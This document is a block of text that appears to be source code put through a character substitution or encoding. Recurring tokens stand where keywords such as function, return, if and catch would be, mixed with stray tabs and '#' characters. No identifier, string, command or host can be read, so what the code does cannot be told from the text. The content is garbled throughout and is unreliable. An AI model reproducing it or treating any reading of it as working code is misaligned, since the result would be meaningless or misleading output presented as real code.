JFG]@G\L#	T##	DPBYYL]G					SSZXS^KZAAPQLL@vXXMZA[SvX	ZQHK_G ###@O			@N[KMFGKOJZ DPBYYL]G 			UU		KKAEPBMEYMGE DPBYYL]G 						 	R#					FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			KKAEPBMEYMGE  #JFG]@G\L#T#	#			B]vLJZKE				KKAEPBMEYMGE DPBYYL]Grt ####@O				B]vLJZKE							UU				SPDBZLLFM] DPBYYL]G 											B]vLJZKE 	R#			FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 						KKAEPBMEYMGE  #							JFG]@G\L#		T#					#	OXJ\XMBMMAD			@N[KMFGKOJZ DPBYYL]G				B]vLJZKE #PXDSF[DJ@FCBHYE						SPDBZLLFM] DPBYYL]G					B]vLJZKE #FOvMA[OL						KKAEPBMEYMGE SPDBZLLFM] @^v_XSYHPXKSN SPDBZLLFM] 	SPDBZLLFM] @N[KMFGKOJZ 			PXDSF[DJ@FCBHYE    #	@O		@N[KMFGKOJZ SPDBZLLFM]   			R####\YMH]LvFY]@FG@N[KMFGKOJZ 			YEN@[@]M #			\YMH]LvFY]@FG@^v_XSYHPXKSN 				KKAEPBMEYMGE uG	FOvMA[OL  #T#			[L]\[G			H[[HP@^v_XSYHPXKSN 						OXJ\XMBMMAD		@N[KMFGKOJZ 						FOvMA[OL #T	JH]JA					}A[F^HKEL	E]GYK]v 				RSHYAAXSEByayvdhcf{vl{z`fgK\MXK]PCOGSHYAAXSEB#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v #				JFG]@G\L#		T	JH]JA				lQJLY]@FG	E]GYK]v 				R#	i[LKHEHGJL	DLZZHNLX\L\L##			JFG]@G\L#T#	T#					LZA_B[v				SPDBZLLFM] KKAEPBMEYMGE  				Z][@GN 	NL]vFY]@FG@N[KMFGKOJZ 	 				#		ENP@AMFSLYKQ					AK@\_C^N^\[SGBvvQSPDBZLLFM] 	 #							@O				LZA_B[v												@N[KMFGKOJZ ENP@AMFSLYKQ 							ENP@AMFSLYKQ			 				R#			FOvMA[OL						@N[KMFGKOJZ @^v_XSYHPXKSN SPDBZLLFM] KKAEPBMEYMGE 		@N[KMFGKOJZ @N[KMFGKOJZ 		LZA_B[v    SP[YMKFPEQQJ C]MKPv[SP[YMKFPE#		@O					LDY]PFOvMA[OL  		R####						[L]\[G					H[[HPKKAEPBMEYMGE 					ENP@AMFSLYKQ			@N[KMFGKOJZ 			FOvMA[OL ]NA[NPBBA^SKE]NA[N#		T#						T#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		KKAEPBMEYMGE  ###	[L]\[G	H[[HP #T#	O\GJ]@FG		^QB]AHOGYBQYHZD				M\\KNFB^KC			YH[FPMGXNv[A #R#@O			@^v_XSYHPXKSN SPDBZLLFM]   		R#			[L]\[G		OHEZL###	T#			QAQDFGS_^NXD[					SPDBZLLFM] M\\KNFB^KC #						DEDvCXXYDP@\				SPDBZLLFM] KKAEPBMEYMGE 		   #SKY]YQ\@K								#				OF[			]B_XAL@								SFP[^DPQ]			SPDBZLLFM] QAQDFGS_^NXD[ 	]B_XAL@						SFP[^DPQ]	]B_XAL@ 			R#			SKY]YQ\@K					@N[KMFGKOJZ @^v_XSYHPXKSN QAQDFGS_^NXD[r]B_XAL@t 				w				@N[KMFGKOJZ DEDvCXXYDP@\  #	T#			[L]\[G				\YMH]LvFY]@FGGYBQYHZD		KKAEPBMEYMGE DEDvCXXYDP@\			SKY]YQ\@K 					YH[FPMGXNv[A 						OHEZL##	T#	#						O\GJ]@FG		HA@ZOGv_MX[HB_Q\GYBQYHZD		G_GB@vvK #		R#	@O			@N[KMFGKOJZ @N[KMFGKOJZ   		[L]\[G	G_GB@vvK#			]SJDOFYCMB						NL]vFY]@FGGYBQYHZD		 #				@O		]SJDOFYCMB						UU							@N[KMFGKOJZ ]SJDOFYCMB  	R#	[L]\[G				G_GB@vvK#					T###MPQ\BCP@DBZ					iKKAEPBMEYMGE ]SJDOFYCMB		][\L #					@O			MPQ\BCP@DBZ		OHEZL				UU	SPDBZLLFM] MPQ\BCP@DBZ 			 				R##		[L]\[G	G_GB@vvK#	T#					DEDvCXXYDP@\								MPQ\BCP@DBZrt#	Z[O_NCKMCCKL							#		OF[				]B_XAL@					SFP[^DPQ]		@^v_XSYHPXKSN MPQ\BCP@DBZ 	]B_XAL@		SFP[^DPQ]		]B_XAL@ 	R#							Z[O_NCKMCCKL			@N[KMFGKOJZ @^v_XSYHPXKSN MPQ\BCP@DBZr]B_XAL@t 		w		SPDBZLLFM] DEDvCXXYDP@\  ##T#				]MCS@DLPNC								_DvHZH]JX\HZ[O_NCKMCCKL #	[L]\[G		]MCS@DLPNC					OHEZL				]MCS@DLPNC				G_GB@vvK##T###					O\GJ]@FG		_DvHZH]JX\H^HAvP]\PF^ZZ] ##	R#	@O						KKAEPBMEYMGE ^HAvP]\PF^ZZ]  	[L]\[G			OHEZL#		@O			MLO@GLMSPDBZLLFM]  						yayvl{z`fgv`m			  		R^S@][Q@Gyayv`g}vdhqyayv`g}vdhqAGNMGS_Q^S@][Q@G#[L]\[G				i@N[KMFGKOJZ ^HAvP]\PF^ZZ]				H[[HPKKAEPBMEYMGE 				OHEZL  ####					T###				[L]\[G	iSPDBZLLFM] ^HAvP]\PF^ZZ] #				T#O\GJ]@FG		GZ@JEONSS[QZBA ####						R#	Z]H]@J		L\vO][CK					G\EE#		@O	L\vO][CK				G\EE 		[L]\[G		L\vO][CK#				OEKOHSDG@[F				MLO@GLM@^v_XSYHPXKSN  		hkzyh}a						#	L\vO][CK			SPDBZLLFM] @^v_XSYHPXKSN uu						OEKOHSDG@[F 				 										##					[L]\[G	L\vO][CK####	T###		O\GJ]@FG	L_LYNP^vZHQF\\FGYBQYHZD #	R#							[L]\[G			FZLYYKLLEQ[\AGZ@JEONSS[QZBA 						Z][@GN 	Y[CQSEMDC_ 			GYBQYHZD						  #					T#	O\GJ]@FG		^vGQONZLKGDBvB[DP^QLPDv[FCQ #R##	[L]\[G			Z][@GN 	 						@G] 			ALQMLJSPDBZLLFM] SPDBZLLFM] GZ@JEONSS[QZBA 					KKAEPBMEYMGE 				B[DP^QLPDv[FCQ 		QQ   		   ##T#	O\GJ]@FG		E^^EC^_OM #R#							[L]\[G			^vGQONZLKGDBvKKAEPBMEYMGE  #			T#		O\GJ]@FG	H^SKX[@GYM_KEMSB #	R#			LPQHXEYOBYO^					Z][@GN 		AK@\_C^N^\[SGBvvQSPDBZLLFM] 	 #[L]\[G			@^v_XSYHPXKSN LPQHXEYOBYO^ 							 									SPDBZLLFM] LPQHXEYOBYO^	E^^EC^_OM  				OHEZL					SPDBZLLFM] Z][@GN 	AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	  				QLQ #			T#	#	O\GJ]@FG	AK@\_C^N^\[SGBvvQGYBQYHZD		G_GB@vvK #						R#	iDLM@H]L	J@YAL[Z\@]L##	[L]\[G	HA@ZOGv_MX[HB_Q\L_LYNP^vZHQF\\FGYBQYHZD 		G_GB@vvK #		T#						O\GJ]@FG						FMQHASYASG@vGYBQYHZD	G_GB@vvK		 #			R#					_BvQP[N^E				AK@\_C^N^\[SGBvvQGYBQYHZD		G_GB@vvK #				@O		SPDBZLLFM] _BvQP[N^E  		[L]\[G	_BvQP[N^E#@O						@N[KMFGKOJZ _BvQP[N^E  	[L]\[G		Z][@GN 						_BvQP[N^E#				[L]\[G		G_GB@vvK#T###		O\GJ]@FG			CSvEESS]PSH[M^GBD_GYBQYHZD	M\\KNFB^KC		YH[FPMGXNv[A #		R#			^QB]AHOL_LYNP^vZHQF\\FGYBQYHZD 					M\\KNFB^KC	YH[FPMGXNv[A ###		T#O\GJ]@FG					NX[M]GZAG[S]NEDLQ #	R#HBGF]vDOQLN								@ZZL]nefkhezrKKAEPBMEYMGE t 						nefkhezrSPDBZLLFM] t			H[[HP #	]SJDOFYCMB				AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		H[[HP  #@O	SPDBZLLFM] ]SJDOFYCMB  	R#			HBGF]vDOQLN						KKAEPBMEYMGE ]SJDOFYCMB				HBGF]vDOQLN #		T#	HBGF]vDOQLN						@^v_XSYHPXKSN HBGF]vDOQLN #			[L]\[G	@^v_XSYHPXKSN HBGF]vDOQLN				QQ  #T####				O\GJ]@FG		AZM\NXNG@DYLFQZ #				R#	~y	e@Z]	kEFJB	O@Q\Y	HEEFJH]F[##		@O			@ZZL]nefkhezr@N[KMFGKOJZ t 		UU				LDY]PnefkhezrKKAEPBMEYMGE t  			[L]\[G#			][P		R#]SJDOFYCMB					AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		H[[HP  #		QH_LOQCG		KKAEPBMEYMGE KKAEPBMEYMGE H[[HP ]SJDOFYCMB	nefkhezr@N[KMFGKOJZ t  #QH_LOQCG			KKAEPBMEYMGE QH_LOQCG			  #				CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 	QH_LOQCG	@^v_XSYHPXKSN  ###			T				JH]JA				}A[F^HKEL	E]GYK]v 				RSK\AZGZ[J_]SZSK\AZGZ#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #	T		JH]JA	lQJLY]@FG				E]GYK]v 		R####T#T#				#							O\GJ]@FG	SSZXS^KZAAPQLL@v^HAvP]\PF^ZZ]	BLP ##R#			@O								@N[KMFGKOJZ ^HAvP]\PF^ZZ] 			UU						@^v_XSYHPXKSN BLP 	UU			SPDBZLLFM] BLP 			 			R#	[L]\[G				G\EE##T#							@EAPNYJGGMP									SPDBZLLFM] ^HAvP]\PF^ZZ] ####	^E[JGZGCJ@					@^v_XSYHPXKSN BLP #			[@SJ_CSFAXGMQvQ			#					OF[						]B_XAL@				]B_XAL@						@EAPNYJGGMP			]B_XAL@ 	R#	[@SJ_CSFAXGMQvQ		@N[KMFGKOJZ @N[KMFGKOJZ ^HAvP]\PF^ZZ]r]B_XAL@t 		w	SPDBZLLFM] BLPr]B_XAL@											^E[JGZGCJ@t  #T#	[L]\[G	[@SJ_CSFAXGMQvQ##T#				#		O\GJ]@FG		XC@H]OF[K[]SC@ALZBXHEL@[O ##		R##				@O					KKAEPBMEYMGE BXHEL@[O  					R#						BXHEL@[O						H[[HP #T#			vDKYZJJXGM					ALQFXB@G@^X #HB^CCNENYYND				@N[KMFGKOJZ @^v_XSYHPXKSN  						HA@ZOGv_MX[HB_Q\SPDBZLLFM] 	OHEZL 										OHEZL####					@O		KKAEPBMEYMGE HB^CCNENYYND 						@ZZL]HB^CCNENYYNDr@^v_XSYHPXKSN t 			@G] 		HB^CCNENYYNDr@^v_XSYHPXKSN t				 					@G] 					HB^CCNENYYNDrKKAEPBMEYMGE t			  				vDKYZJJXGM		@G] 	HB^CCNENYYNDrKKAEPBMEYMGE t#		@O			vDKYZJJXGM							  	R#		vDKYZJJXGM			QQMJ ##				T#				BXHEL@[Or@^v_XSYHPXKSN t					H[[HP#	@N[KMFGKOJZ 							vDKYZJJXGM#SPDBZLLFM] 				@^v_XSYHPXKSN # #	BXHEL@[Or@N[KMFGKOJZ t							H[[HP#			@^v_XSYHPXKSN 						 #					KKAEPBMEYMGE 									KKAEPBMEYMGE #	 ##				[L]\[G		BXHEL@[O#T#	#			O\GJ]@FG			QQ]PDLN_JDDEKF_F #R#@O	@^v_XSYHPXKSN @^v_XSYHPXKSN  		UU						@N[KMFGKOJZ @N[KMFGKOJZ   					[L]\[G#@O		JD@CQMEODG^SPDBZLLFM]   				[L]\[G#						][P		R#	@O		^YvGLQ]vZJALM\ELMSG^DSX^[_L   			R#	~y	z@]L	lM@]F[	Y[LLDY]	F[JALZ][H]F[##					^YvZJALM\ELvL_LG]SPDBZLLFM]  								KKAEPBMEYMGE w 	  					@^v_XSYHPXKSN 			SG^DSX^[_L  #	T#			T			O@GHEEP		R#	~y	lDKLM	kEFJB	KH]JA	DLDLG]F#####NZADHFK@PJ[KKAEPBMEYMGE  #		##			T#	T#			#			O\GJ]@FG	YJNSJXYOJB[QZCM #				R##				###	@O		MLO@GLMKKAEPBMEYMGE  					mf`gnvj{fg 		R#					[L]\[G#						T###		###						Z]H]@J				B^PKH[			OHEZL#				@O				B^PKH[ 		[L]\[G#	B^PKH[			][\L####				#							@O							YKSSvB[HE_\G]CAPF  	R#					[L]\[G#				T#	~y	j\Z]FD	e@GB	@G_L[]@KEL	]FBLGK\JBL]####	NPBEZ_MS\_BKSPDBZLLFM] 		@N[KMFGKOJZ 	 #T####				O\GJ]@FG	JM\[XDQ\JY]BFNKE #R#	@O					KKAEPBMEYMGE @^v_XSYHPXKSN  			UU		SPDBZLLFM] KKAEPBMEYMGE   			[L]\[G####	i@N[KMFGKOJZ Z@]Lv\[E@N[KMFGKOJZ 			@N[KMFGKOJZ 						Z][@GN 	@^v_XSYHPXKSN ][\L  					KKAEPBMEYMGE QQ 	   		H[[HP@N[KMFGKOJZ 													KKAEPBMEYMGE 							OHEZL		SPDBZLLFM] 				OHEZL  ####			T###		O\GJ]@FG				ZMCXPMKO@BNQA #			R#		Z]H]@J			G]\BPQ						OHEZL#	@O		G]\BPQ 					[L]\[G#	G]\BPQ							][\L#	][P		R#			SAJSCGA_^O						OHEZL#				@O	KKAEPBMEYMGE @^v_XSYHPXKSN   	R#		@^v_XSYHPXKSN  #SAJSCGA_^O										][\L#	T					LEZL@O		@N[KMFGKOJZ KKAEPBMEYMGE   		R#	SPDBZLLFM]  #			SAJSCGA_^O							][\L###			T				LEZL				R#			@O		@N[KMFGKOJZ @^v_XSYHPXKSN   	R#i@^v_XSYHPXKSN ][\L #						T#FPQK]N]ASA]P[v				@^v_XSYHPXKSN @^v_XSYHPXKSN  							iKKAEPBMEYMGE @N[KMFGKOJZ  #@O				ALHML[ZvZLG] 							FPQK]N]ASA]P[v		@N[KMFGKOJZ  												SPDBZLLFM] @^v_XSYHPXKSN   			R#		vJE			iFKvNL]vELGN]A ##				@O		vJE					OHEZL									vJE						 			R####		iALHML[@N[KMFGKOJZ 					vJE #						iALHML[KKAEPBMEYMGE  #	T###				T#			@O	@^v_XSYHPXKSN   	R###	i@^v_XSYHPXKSN  #						##			T#	iKKAEPBMEYMGE  #						T###					P_XCZQM]Y								KKAEPBMEYMGE SPDBZLLFM]  						MLO@GLMKKAEPBMEYMGE  				m`zhkelv~yvj{fg #					NPOEHJ]ONC				@N[KMFGKOJZ @N[KMFGKOJZ  			UU				@G] 			NL]vFY]@FGKKAEPBMEYMGE 		 			#		@O		NPOEHJ]ONC					KKAEPBMEYMGE @N[KMFGKOJZ  						KKAEPBMEYMGE @N[KMFGKOJZ   			R##P[vFLHJ					Z][@GN 		NL]vFY]@FG@N[KMFGKOJZ 						 ####@O			P[vFLHJ					^NKBHS]S^NFHGH^O]  			R#	JEFYLG	HOO@GL]PYL	##					i\YMH]LvFY]@FGKKAEPBMEYMGE 		^NKBHS]S^NFHGH^O] 		SPDBZLLFM]  #					i\YMH]LvFY]@FG@^v_XSYHPXKSN 					SPDBZLLFM]  #	NPOEHJ]ONC						][\L#					T#	T#					D_JBDD]B^XD_					OHEZL#			@O		P_XCZQM]Y					SPDBZLLFM] @^v_XSYHPXKSN   		R#BBG[PQZOEXXK										^YvGLQ]vZJALM\ELMSG^DSX^[_L  #		@O	BBG[PQZOEXXK					KKAEPBMEYMGE  					@G] 	BBG[PQZOEXXK 				  						R#							D_JBDD]B^XD_					][\L#		@O				SPDBZLLFM] @N[KMFGKOJZ   						i^Yv\GZJALM\ELvL_LG]@G] 			BBG[PQZOEXXK		SG^DSX^[_L  #	T#		T#@O		P_XCZQM]Y							NPOEHJ]ONC								D_JBDD]B^XD_ 	R#		HLZ^AGOMF[YA			@^v_XSYHPXKSN @^v_XSYHPXKSN  									@G] 	^YvGLQ]vZJALM\ELMSG^DSX^[_L  				#		@O				HLZ^AGOMF[YA								UU		HLZ^AGOMF[YA									SPDBZLLFM]  				  				R#		i^YvZJALM\ELvZ@GNELvL_LG]@^v_XSYHPXKSN  			SG^DSX^[_L  #			##						T##	HDMJNEDFBOMD@vKGK #						[L]\[G#	T#				@O			D_JBDD]B^XD_ 	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	@^v_XSYHPXKSN  ####		@O				SAJSCGA_^O 	R#		@O			P_XCZQM]Y 	i^YvZJALM\ELvZ@GNELvL_LG]KKAEPBMEYMGE  		SG^DSX^[_L  #	JM\[XDQ\JY]BFNKE #	HDMJNEDFBOMD@vKGK ##	[L]\[G#	T#		@O		SPDBZLLFM] KKAEPBMEYMGE   			iKKAEPBMEYMGE   ###					\[DK^E^^XY #T		JH]JA	}A[F^HKEL				E]GYK]v 	R#				FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			E]GYK]v #T		JH]JA				lQJLY]@FG		E]GYK]v 	R#	T#T##	O\GJ]@FG		QBGSPC]MHZPJ #						R#][P				R#				@O			@N[KMFGKOJZ @^v_XSYHPXKSN   		R#	[L]\[GDJ\LOSyayv`g}vdhqyayv`g}vdhqKvXLDHDJ\LOS#							T##vKZS\^DB						SPDBZLLFM] @N[KMFGKOJZ  						NL]v][HGZ@LG]HZZ[vN@S@BZX  						OHEZL#	@O					SPDBZLLFM] vKZS\^DB  		vKZS\^DB					HA@ZOGv_MX[HB_Q\KKAEPBMEYMGE 			OHEZL #@O					@^v_XSYHPXKSN vKZS\^DB  			R#	[L]\[G###				T#	#						@O		@ZZL]vKZS\^DBr@N[KMFGKOJZ t 							SPDBZLLFM] vKZS\^DBrKKAEPBMEYMGE t  				R#	Z]H]@JHMC	DLZZHNLX\L\L	##			nefkhezr@^v_XSYHPXKSN t				SMMMSODOSM@PNPvKZS\^DBr@^v_XSYHPXKSN t #	T#	#@O		@ZZL]vKZS\^DBrKKAEPBMEYMGE t 									KKAEPBMEYMGE vKZS\^DBrKKAEPBMEYMGE t  			R####			nefkhezr@N[KMFGKOJZ t						SMMMSODOSM@PNPvKZS\^DBrKKAEPBMEYMGE t #T#	#					@O						@ZZL]vKZS\^DBrSPDBZLLFM] t 						SPDBZLLFM] vKZS\^DBr@N[KMFGKOJZ t  		R#			nefkhezrKKAEPBMEYMGE t			vKZS\^DBrKKAEPBMEYMGE t#	@GJ[LDLG]HE	JFDYFZ@]L##					T#	@O		@ZZL]vKZS\^DBr@N[KMFGKOJZ t 								SPDBZLLFM] vKZS\^DBr@N[KMFGKOJZ t 				SPDBZLLFM] vKZS\^DBrSPDBZLLFM] t 							QHQ  	R#		nefkhezr@^v_XSYHPXKSN t						vKZS\^DBrSPDBZLLFM] t###					T#	ZJALM\EL	GLNF]@H]F[	OF[	yay		O@KL[Z###	@O					@ZZL]vKZS\^DBrKKAEPBMEYMGE t 										KKAEPBMEYMGE vKZS\^DBrSPDBZLLFM] t 		@N[KMFGKOJZ vKZS\^DBr@N[KMFGKOJZ t 							  	R#		nefkhezr@^v_XSYHPXKSN t						vKZS\^DBr@^v_XSYHPXKSN tGJS^DGHQPQDOEZGJS^DG#	T#		T		JH]JA		}A[F^HKEL			E]GYK]v 						R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 				E]GYK]v #					T	JH]JA						lQJLY]@FG			E]GYK]v 		R####	T#		T#					#				O\GJ]@FG					HMCHCvCJPvNA_G[L] #		R#	][P	R#					@O		KKAEPBMEYMGE SPDBZLLFM]  		UU		SPDBZLLFM] @N[KMFGKOJZ   		[L]\[G###		@O		@G] 	NL]vFY]@FGSPDBZLLFM] 		 				@N[KMFGKOJZ  					  		[L]\[G#		@O		@^v_XSYHPXKSN @N[KMFGKOJZ  						NL]v][HGZ@LG]@N[KMFGKOJZ   	[L]\[G###LBASAMHQ\YA@								AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		 #@O		KKAEPBMEYMGE LBASAMHQ\YA@ 		UU		@N[KMFGKOJZ LBASAMHQ\YA@ 						 			UU	K[N[JPDKAX]LSLBASAMHQ\YA@ 					UU		_SMG[M@XJvKJSK\LBASAMHQ\YA@  	R]FJ]S^EJ_[KMES]FJ]S#LBASAMHQ\YA@			OHEZL#	L[GHJM^\KD		i@^v_XSYHPXKSN [ZKLSD_  ###		@O				L[GHJM^\KD				L[GHJM^\KD		 				L[GHJM^\KD								  					RFGv\ECYAJyayv`g}vdhqyayv`g}vdhqCZP]NBZP@FGv\ECYAJ#	Y\HB]^DDBDBLK						iSPDBZLLFM] [ZKLSD_  #				@O			@^v_XSYHPXKSN Y\HB]^DDBDBLK 				@N[KMFGKOJZ Y\HB]^DDBDBLK 					  		Y\HB]^DDBDBLK						C^v@Z@\@ACBCLY\HB]^DDBDBLK #@O		KKAEPBMEYMGE Y\HB]^DDBDBLK 						K[N[JPDKAX]LSY\HB]^DDBDBLK 								_SMG[M@XJvKJSK\Y\HB]^DDBDBLK  			R#	dLDJHJALM	HMHY]L[	Z@GN\EH[	E@GLH[]PYL##	CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 			Y\HB]^DDBDBLK		@N[KMFGKOJZ  #		LBASAMHQ\YA@				Y\HB]^DDBDBLK#	T#			T###@O		LBASAMHQ\YA@ 	RQ\AASAZ_Yyayvdhcf{vl{z`fgvB_EBMYQ\AASAZ_Y#					i\YMH]LvFY]@FG@^v_XSYHPXKSN 					SPDBZLLFM]  			SPDBZLLFM]  ###[L]\[G####				T##					T#	XMA_P]H						H[[HP[ZKLSD_  #				SLNBE_^K@P							\vJHFGLF__PBZFA]G #		M@@L\F					\Z\AGLAZAHZXB\SLNBE_^K@P CKLDN\CCKQMQ v@GAAFEJvCKLDN\CCK#			@O				SPDBZLLFM] M@@L\F  		R##OF[LHJA				M@@L\F	HZ	DAGQ[H 	R#					@O		SPDBZLLFM] DAGQ[H				  										KKAEPBMEYMGE  			XMA_P]Hrt								SLNBE_^K@P											DAGQ[H#			T###		T#			@O	MLO@GLMKKAEPBMEYMGE  				SPDBZLLFM] KKAEPBMEYMGE   		R#OF[LHJA			H[[HP 						iKKAEPBMEYMGE ~yvye|n`gvm`{				@^v_XSYHPXKSN  	HZ					PSA]DNAZDKHP 		XMA_P]Hrt		PSA]DNAZDKHP###				T####	XMA_P]H						@^v_XSYHPXKSN XMA_P]H #		SJL^DA\MM			H[[HP ###MvBvLN\						KKAEPBMEYMGE KKAEPBMEYMGE SPDBZLLFM] 					@^v_XSYHPXKSN LBASAMHQ\YA@					   						QQKM  #		OF[LHJA			XMA_P]H			HZ		OEKOHSDG@[F 	R#		AADEEDPN]]LF						i@^v_XSYHPXKSN OEKOHSDG@[F ###@O	AADEEDPN]]LF					UU				AADEEDPN]]LF		  	JFG]@G\L#LQB^]JSDMHY			iKKAEPBMEYMGE OEKOHSDG@[F		OHEZL		G\EE									  #					@O		@^v_XSYHPXKSN LQB^]JSDMHY 			UU		K[N[JPDKAX]LSLQB^]JSDMHY  	JFG]@G\L#								@O					OEKOHSDG@[F				[ZKLSD_ 						@^v_XSYHPXKSN @^v_XSYHPXKSN SPDBZLLFM] 		LQB^]JSDMHY 			  					MvBvLN\ 			JFG]@G\L#						SJL^DA\MMrt						OEKOHSDG@[F#T#			@O	SJL^DA\MM 				R#@O			SPDBZLLFM] @^v_XSYHPXKSN   				ZL]v][HGZ@LG]@^v_XSYHPXKSN 							  #	[L]\[G#	T#	i\YMH]LvFY]@FGSPDBZLLFM] 			SPDBZLLFM]  		SPDBZLLFM]  #	OF[LHJA	SJL^DA\MM			HZ	MLXDFHODDKY 			R#				XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY	QQ  #		@O				ZKXOKS\JGG_ZQC@QYMLXDFHODDKY	]ODXFFOB\PHLBFG^LBASAMHQ\YA@   	R#GKGGQEFO\QBQGEPMLXDFHODDKY #			LCEBMJ]BEMLXDFHODDKY M_FJQyayv`g}vdhqyayv`g}vdhqJLCXCPH_[O[MLM_FJQ#			XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY		  #						EHOBPA]OAvHMLXDFHODDKY #@O				MLXDFHODDKY			[ZKLSD_  			R####	LSQQPGQ_@[D^][\L #				Q]H[ENCXS]X^Z@]][\L #								T#		T		LEZL	R#XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY	  ###		T#T#	T	JH]JA				}A[F^HKEL	E]GYK]v 				RKQDJH]BOJUJJ[JDPGKQDJH]BOJw###						FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		E]GYK]v #T				JH]JA		lQJLY]@FG					E]GYK]v 		R#			T##	T#O\GJ]@FG			@SC@A[E]E_M ##		R#						Z]H]@J					B^PKH[		OHEZL#	@O	B^PKH[ 	[L]\[G#		B^PKH[						][\L#	][P		R#					GPM@[^BD]^^FNM\]] ###			HMCHCvCJPvNA_G[L] ####	Q]H@CDP^J^SMFZ ####QBGSPC]MHZPJ ####	QQ]PDLN_JDDEKF_F #	SENDYMJ\^^CSHFB] #ECC[HKED^G[NEKXK #		EBO_KJ@NXJJJZ #					CPOBPSMQCNL[Y #						@O		YKSSvB[HE_\G]CAPF  			R#		@O		KKAEPBMEYMGE KKAEPBMEYMGE  					M@MvHJ]@FG@^v_XSYHPXKSN   		R#				@O	@^v_XSYHPXKSN KKAEPBMEYMGE   		KKAEPBMEYMGE KKAEPBMEYMGE  #		T	LEZL			R#			NPBEZ_MS\_BK@N[KMFGKOJZ 				KKAEPBMEYMGE 				 #					T#	T##			T	JH]JA			}A[F^HKEL		E]GYK]v 	RCYDHQDGY^^_yayv`g}vdhqyayv`g}vdhqKHAZ]YFBLCYDHQDGY^^_####T		JH]JA			lQJLY]@FG				E]GYK]v 						R#			T#T#	O\GJ]@FG	HDMJNEDFBOMD@vKGK #				R##][P		R#@O				SPDBZLLFM] SPDBZLLFM]  					UU	KKAEPBMEYMGE @N[KMFGKOJZ   				[L]\[G#	@O	KKAEPBMEYMGE @N[KMFGKOJZ  				UU				@^v_XSYHPXKSN KKAEPBMEYMGE   		[L]\[G#	KXM_X^QZCF\LE			@^v_XSYHPXKSN  #			@O				KXM_X^QZCF\LE								@G] 		iNL]vFY]@FGKKAEPBMEYMGE 	 							  	[L]\[G#								i\YMH]LvFY]@FGSPDBZLLFM] 	KXM_X^QZCF\LE	@N[KMFGKOJZ  ###iSPDBZLLFM] AFDLv\[E 		H[[HP@^v_XSYHPXKSN 										SPDBZLLFM] 						OHEZL			@^v_XSYHPXKSN 					OHEZL  ##T		JH]JA		}A[F^HKEL			E]GYK]v 	R##	T	JH]JA		lQJLY]@FG	E]GYK]v 		R#	T#	[F]H]L	X\F]@LG]	OF[	~y	L[ZL	kEFJB##			T###			O\GJ]@FG	YKSSvB[HE_\G]CAPF #	R#			@O			@N[KMFGKOJZ KKAEPBMEYMGE   		R#				[L]\[G	][\L#		T##			@O	@N[KMFGKOJZ KKAEPBMEYMGE  					NL]v][HGZ@LG]HZZ[vN@S@BZX   			R###				[L]\[G			OHEZLO]CQ_NMQyayvdhcf{vl{z`fgPFLSCXY@vSO]CQ_NMQ#			T#					#	[DXQX_G@MCSSB				ALQFXB@G@^X #						HB^CCNENYYND			HA@ZOGv_MX[HB_Q\@N[KMFGKOJZ 				OHEZL #		@O				@^v_XSYHPXKSN HB^CCNENYYND 					@ZZL]HB^CCNENYYNDr@N[KMFGKOJZ t 								@G] 			HB^CCNENYYNDr@N[KMFGKOJZ t						 		@G] 			HB^CCNENYYNDrKKAEPBMEYMGE t					  			[DXQX_G@MCSSB										@G] 				HB^CCNENYYNDr@^v_XSYHPXKSN t###		BDG[A[]PFJS			@G] 						NL]vFY]@FGSPDBZLLFM] 	 #				@O		BDG[A[]PFJS											KKAEPBMEYMGE  						BDG[A[]PFJS 							[DXQX_G@MCSSB 			R#				[L]\[G				OHEZL#					T####	#	KHO@BY^Jv								@G] 			NL]vFY]@FGKKAEPBMEYMGE 		 #	@O		KHO@BY^Jv		 		R##	MBCASX[@								@G] 			NL]vFY]@FGSPDBZLLFM] 		 #		MGZ[vHEAS					H[[HP 						 				 	 		  #			QF[SYG_C					MGZ[vHEASrSPDBZLLFM] 	@^v_XSYHPXKSN MBCASX[@								   t###					QF[SYG_C							SPDBZLLFM] 			@G] 		QF[SYG_C						  #			@O				KKAEPBMEYMGE  			KHO@BY^Jv 						QF[SYG_C 					R#	iZ\ZYLGM	ALH[]KLH]##				[L]\[G		OHEZL#					T#T#				#						[L]\[G			][\L#	T##	O\GJ]@FG				A[HKSJPO_D]_G #		R#	MBCASX[@					@G] 	NL]vFY]@FG@^v_XSYHPXKSN 				 #	\YMH]LvFY]@FGKKAEPBMEYMGE 			MBCASX[@				 #			\YMH]LvFY]@FGKKAEPBMEYMGE 		KKAEPBMEYMGE   ##					T##						O\GJ]@FG	P]^ZQ_[\G]L ##			R#	~y	oLH]\[LM	`DHNL	GF[DHE	X\F]@LG]##					L[GLAFES					H[[HP #			][P	R#						L[GLAFESr@^v_XSYHPXKSN t				^NKBHS]S^NFHGH^O] #			L[GLAFESr@^v_XSYHPXKSN t								yayvl{z`fg#	L[GLAFESr@^v_XSYHPXKSN t						SPDBZLLFM]  #L[GLAFESr@N[KMFGKOJZ t					SPDBZLLFM] @^v_XSYHPXKSN  				@ZvZZE  										#L[GLAFESrSPDBZLLFM] t			SPDBZLLFM] KKAEPBMEYMGE  					@ZvD\E]@Z@]L  							#			##				L[GLAFESrKKAEPBMEYMGE t							@ZZL]nefkhezr@N[KMFGKOJZ t 				Z][@GN 					nefkhezr@^v_XSYHPXKSN t				#L[GLAFESrKKAEPBMEYMGE t			@ZZL]vzl{l{r@N[KMFGKOJZ t 								KKAEPBMEYMGE Z][@GN 						vzl{l{r@N[KMFGKOJZ t						  					##	ZLQ_JSMQOE							@ZZL]nefkhezrSPDBZLLFM] t 			KKAEPBMEYMGE nefkhezr@N[KMFGKOJZ t  									SPDBZLLFM] 